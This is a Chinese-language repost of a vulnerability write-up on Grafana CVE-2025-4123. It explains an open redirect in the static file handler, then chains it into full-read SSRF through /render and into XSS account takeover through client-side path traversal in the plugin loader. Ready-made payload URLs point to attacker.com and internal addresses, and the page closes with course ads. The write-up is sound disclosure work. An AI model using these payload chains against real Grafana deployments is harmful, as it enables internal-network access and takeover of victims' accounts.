Grafana CVE-2025-4123:SSRF 和账户接管漏洞完整解读
Grafana CVE-2025-4123:SSRF 和账户接管漏洞完整解读
haidragon 安全狗的自我修养 2025-05-24 00:05
https://nightbloodz.github.io/grafana-CVE-2025-4123/
概括
当 Web 应用程序采用 URL 参数并将用户重定向到指定的 URL 而不进行验证时,就会发生开放重定向。
/redirect?url=https://evil.com
–> (302 Redirect) –> https://evil.com
这个问题本身可能看起来并不危险,但这种类型的漏洞却揭示了两个独立的漏洞:一个是完全读取的 SSRF 漏洞,另一个是账户接管漏洞。
在这篇文章中,我将逐步讲解我是如何发现这两个漏洞的。
为什么选择 Grafana?
Grafana 是一个开源分析平台,主要用 Go 和 TypeScript 构建,用于可视化来自 Prometheus 和 InfluxDB 等来源的数据。
我觉得在这个 Web 应用中发现漏洞是一个不小的挑战,所以我下载了源代码并开始调试——尽管这是我第一次使用 Go 语言。我决定专注于应用程序中未经身份验证的部分。
入口点:开放重定向
我检查了所有未认证的端点定义在api/api.go
…
// not logged in views
r.Get(
“/logout”
, hs.Logout)
r.Post(
“/login”
, requestmeta.SetOwner(requestmeta.TeamAuth), quota(
string
…
r.Get(
“/login/:name”
, quota(
string
(auth.QuotaTargetSrv)), hs.OAuthLogin)
r.Get(
“/login”
, hs.LoginView)
r.Get(
“”
, hs.Index)
// authed views
r.Get(
“/”
, reqSignedIn, hs.Index)
r.Get(
“/profile/”
, reqSignedInNoAnonymous, hs.Index)
…## 功能
我甚至深入研究了整个应用程序中使用的中间件。这时,我偶然发现了一个负责处理静态路由的函数,它引起了我的注意。
func
staticHandler
(ctx *web.Context, log log.Logger, opt StaticOptions)
bool
{
if
ctx.Req.Method !=
“GET”
&& ctx.Req.Method !=
“HEAD”
{
return
false
}
file := ctx.Req.URL.Path
for
_, p :=
range
opt.Exclude {
if
file == p {
return
false
}
}
// if we have a prefix, filter requests by stripping the prefix
if
opt.Prefix !=
“”
{
if
!strings.HasPrefix(file, opt.Prefix) {
return
false
}
file = file[
len
(opt.Prefix):]
if
file !=
“”
&& file[
0
] !=
‘/’
{
return
false
}
}
f, err := opt.FileSystem.Open(file)
if
err !=
nil
{
return
false
}
…………..
}
该函数用于根据用户输入从系统中检索文件。自然而然地,我的第一个想法是尝试使用类似路径遍历技术加载任意文件../。
我将向您解释所有代码和清理措施的流程(了解漏洞很重要):
因此,如果您请求/public/file/../../../name,路径将被清理并解析为/staticfiles/etc/etc/name,从而有效地阻止对目标目录之外的非目标文件的访问。
此外,如果解析的最终路径指向一个文件夹,该StaticHandler函数会检查其中的默认文件 – 通常/index.html从该目录提供服务。
if
fi.IsDir() {
// Redirect if missing trailing slash.
if
!strings.HasSuffix(ctx.Req.URL.Path,
“/”
) {
path := fmt.Sprintf(
“%s/”
, ctx.Req.URL.Path)
if
!strings.HasPrefix(path,
“/”
) {
// Disambiguate that it’s a path relative to this server
path = fmt.Sprintf(
“/%s”
, path)
}
else
{
// A string starting with // or /\ is interpreted by browsers as a URL, and not a server relative path
rePrefix := regexp.MustCompile(
^(?:/\\|/+)
)
path = rePrefix.ReplaceAllString(path,
“/”
)
}
http.Redirect(ctx.Resp, ctx.Req, path, http.StatusFound)
return
true
}
file = path.Join(file, opt.IndexFile)
indexFile, err := opt.FileSystem.Open(file)
….
}
如您所见,如果最终文件是一个目录,并且提供的路由(/public/build)不以结尾/,则服务器将重定向到相同的路径,并在尾部/附加一个。
GET
/
public
/build HTTP/
1.1
Host:
192.168
.
100.2
:
3000
HTTP
/
1.1
302
Found
Location
:
/public/
build/
这种重定向行为就是开放重定向漏洞发生的地方,接下来让我们深入研究一下。
客观的
我有一个场景,应用程序根据提供的路由进行重定向,因此最终的重定向URL始终以 开头/。我的目标是创建一个路由,当请求时,重定向到以 开头的有效完整URL /,例如:
– //attacker.com/…–>//表示协议相对 URL,使用与当前页面相同的协议(HTTPS)
– /\attacker.com/…–>/\做同样的事情
问题与解决方案
有效目录
为了实现重定向功能,我需要一个以 开头的路由/public/,当传递给 时opt.FileSystem.Open(file),解析为一个有效的目录。
我从 开始/public/\attacker.com/../..,它解析为一个空字符串””,然后附加到/staticfiles/etc/etc/,触发if fi.isDir(){}代码流。
/public/\attacker.com/../..–>
/\attacker.com/../..–> “”–>
/staticfiles/etc/etc/+ “”–>fi.isDir() TRUE
现在,我有一种方法可以注入任何将被解释为文件夹的有效载荷opt.FileSystem.Open(file)。
/public/{}/../../..
不一致
一旦进入该isDir()部分,/public/\attacker.com/../..路径就会到达该http.Redirect()函数。问题在于,该函数也会解析该路径,从而导致重定向路径为/。
if
fi.IsDir() {
…
//path is “/public/\attacker.com/../..” but the final redirect is “/”
http.Redirect(ctx.Resp, ctx.Req, path, http.StatusFound)
return
true
…
}
如果我请求/public/\attacker.com/../..
因此,基本上,
我需要创建一条路由,在加载文件时/../../..通过该路由解析,但在执行重定向时仍未解析。opt.FileSystem.Open(file)
http.Redirect()
在每种情况下,路径的解析方式都不同。
– opt.FileSystem.Open(file)需要一个系统文件
– http.Redirect(path)需要一个 URL 路径
问题就是答案?
- opt.FileSystem.Open(file)视为?普通字符。
- http.Redirect(path)解释?为 URL 参数的开头。
这意味着/public/\attacker.com/?/../../../..将被这样处理:
在opt.FileSystem.Open()— >
– /public/\attacker.com/?/../../../..解析为””–> /staticfiles/etc/etc/+””是一个有效的文件夹。
在http.Redirect()→
– /public/\attacker.com/?/../../../..–> 后面的任何内容都?被视为查询字符串,并且不会被解析为路径的一部分。
使用?->进行请求%3f:
最终有效载荷
该 URL/public/\attacker.com/?/../../../..需要解析为以 开头的完整 URL /\。
我直接使用了以下路径:/public/../\attacker.com/?/../../../..
当 http.Redirect() 解析路径时,它会删除该/public部分。
要求:
概括
完整阅读 SSRF
该开放重定向本身不会对安全产生任何严重影响,因此我需要将其与另一个功能链接起来。
Grafana 有一个名为的端点/render,用于根据提供的路径生成图像。
// rendering
r
.Get
(
“/render/*”
, requestmeta.
SetSLOGroup
(requestmeta.SLOGroupHighSlow), reqSignedIn, hs.RenderHandler)
此端点使用无头浏览器来呈现用户指定的路由的 HTML,它仅接受相对 URL 路径/route,而不允许呈现来自绝对 URL 的内容https://…。
但是,如果我使用找到的开放重定向重定向到内部服务会怎么样呢?
首先,我尝试google.es使用/render/public/..%252f%255Cgoogle.es%252f%253F%252f..%252f..
然后我设置了一个无法从外部访问的内部服务
,并尝试127.0.0.1:1234加载/render/public/..%252f%255C127.0.0.1:1234%252f%253F%252f..%252f..
利用此漏洞,我能够完全读取内部服务。由于使用浏览器进行渲染,我甚至可以POST通过精心设计一个表单来发送针对内部服务的请求。
Grafana 在 Intigriti 上的公共程序不包含该/render端点,因为它默认未启用。
此外,这个漏洞需要登录,所以我无法从中获得任何信息。
通过XSS接管帐户
这可能是我利用过的实现 XSS 和帐户接管的最佳漏洞链。
客户端路径遍历
Grafana 客户端代码的很大一部分允许客户端路径遍历。
例如,当你/invite/1在浏览器中加载时,JavaScript 会发出请求来/api/user/invite/1检索邀请信息。
但是,如果您加载/invite/..%2f..%2f..%2f..%2froute,JavaScript 会解析路径遍历并最终加载/route。
这创建了一个完美的场景来强制 JavaScript 加载开放重定向,进而从我的服务器获取特制的 JSON。
但首先,我需要找到一个以不安全的方式加载内容的端点并利用它执行 JavaScript。
加载恶意 JavaScript 文件
您可以使用/a/plugin-app/explore来加载和管理插件应用。
此功能的 JavaScript 从 URL 中提取插件应用名称,并使用它来向 请求插件信息/api/plugins/plugin-app/settings。
该/api/plugins/plugin-app/settings文件看起来像这样。
{
“name”
:
“plugin-app”
,
“type”
:
“app”
,
“id”
:
“plugin-app”
,
“enabled”
:
true
,
“pinned”
:
true
,
“autoEnabled”
:
true
,
“module”
:
“/modules/…./plugin-app.js”
,
//js file to load
“baseUrl”
:
“public/plugins/grafana-lokiexplore-app”
,
“info”
:
{
“author”
:
{
“name”
:
“Grafana”
…
}
}
…
}
/a/plugin-app/explore加载该文件,并执行参数中提供的 javascript “module”。
/a/plugin-app/explore容易受到客户端路径遍历的攻击,这使我能够在服务器上加载任何路由,而不是/api/plugin-app/settings。
这使我可以加载开放重定向,从而获取包含我想要的任何 JavaScript 文件的恶意 JSON。
基本上,我搭建了自己的服务器,并准备好了所有必要的 JS 和 JSON 文件。我只需要托管一个像这样的 JSON 文件:
并加载此路由,/a/..%2f..%2f..%2fpublic%2f..%252f%255Cattacker.com%252f%253Fp%252f..%252f..%23/explore利用客户端路径遍历和开放重定向。
结果:
我的恶意 JavaScript 文件被执行,允许我更改受害者的电子邮件并重置他们的密码。
概括
我一直以为 Grafana 不可能被黑客攻击。它看起来如此复杂和安全——说实话,它确实如此。
但发现这个漏洞证明,无论应用程序看起来多么安全,它总是有或最终会有漏洞。
我无法通过向多个漏洞赏金计划报告来进一步升级该漏洞,因为两种利用途径都需要身份验证
rust语言全栈开发视频教程-第一季(2025最新)
详细目录
mac/ios安全视频
QT开发底层原理与安全逆向视频教程
linux文件系统存储与文件过滤安全开发视频教程(2024最新)
linux高级usb安全开发与源码分析视频教程
linux程序设计与安全开发
****-
-
w
i
n
d
o
w
s
网
络
安
全
防
火
墙
与
虚
拟
网
卡
(
更
新
完
成
) -
-
w
i
n
d
o
w
s
文
件
过
滤
(
更
新
完
成
) -
-
U
S
B
过
滤
(
更
新
完
成
) -
-
游
戏
安
全
(
更
新
中
) -
-
i
o
s
逆
向 -
-
w
i
n
d
b
g -
-
还
有
很
多
免
费
教
程
(
限
学
员
) -
-
-
windows恶意软件开发与对抗视频教程
-
-
-